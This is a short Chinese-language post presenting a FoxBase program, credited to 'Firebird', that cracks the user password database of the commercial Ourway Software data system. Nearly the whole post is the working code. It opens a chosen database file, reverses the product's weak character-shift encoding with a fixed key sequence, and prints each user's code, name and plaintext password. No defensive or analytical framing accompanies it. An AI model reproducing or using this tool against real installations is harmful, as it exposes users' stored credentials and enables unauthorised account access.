火鸟最早的软件口令破解

傲唯软件是一套商用数据系统，火鸟用foxbase 写了以下寥寥几行就可将其用户数据库破解：
*存为.prg文件
set talk off
set esca off
DO WHIL .T.
set colo to gr+/b
clea
? " Ourway Software User Password Tool V1.0 REDBIRD SOFTWARE COPYRIGHT"
?
?
ACCE "please input datebase directory&filename: " to pskey
IF len(LTRI(RTRI(PSKEY)))>1
use &pskey
n=6
do while !eof()
PSKEY=RTRI(KL)
PAS=''
m=1
DO WHILE LEN(PSKEY)>0
do case
case m=1
z=122
case m=2
z=109
case m=3
z=115
case m=4
z=106
case m=5
z=120
case m=6
z=99
case m=7
z=108
case m=8
z=119
case m=9
z=103
case m=10
z=104
case m=11
z=103
case m=12
z=119
endc
PAS=PAS+CHR(ASC(PSKEY)-z)
PSKEY=RIGHT(PSKEY,LEN(PSKEY)-1)
m=m+1
ENDD
@ n,10 say jc+' '+xm+' '+PAS
N=N+1
skip
endd
use
ENDI
@ 21,20 SAY 'ESC QUIT ANY KEY CONTINUE'
IF INKEY(0)=27
QUIT
ENDI
ENDD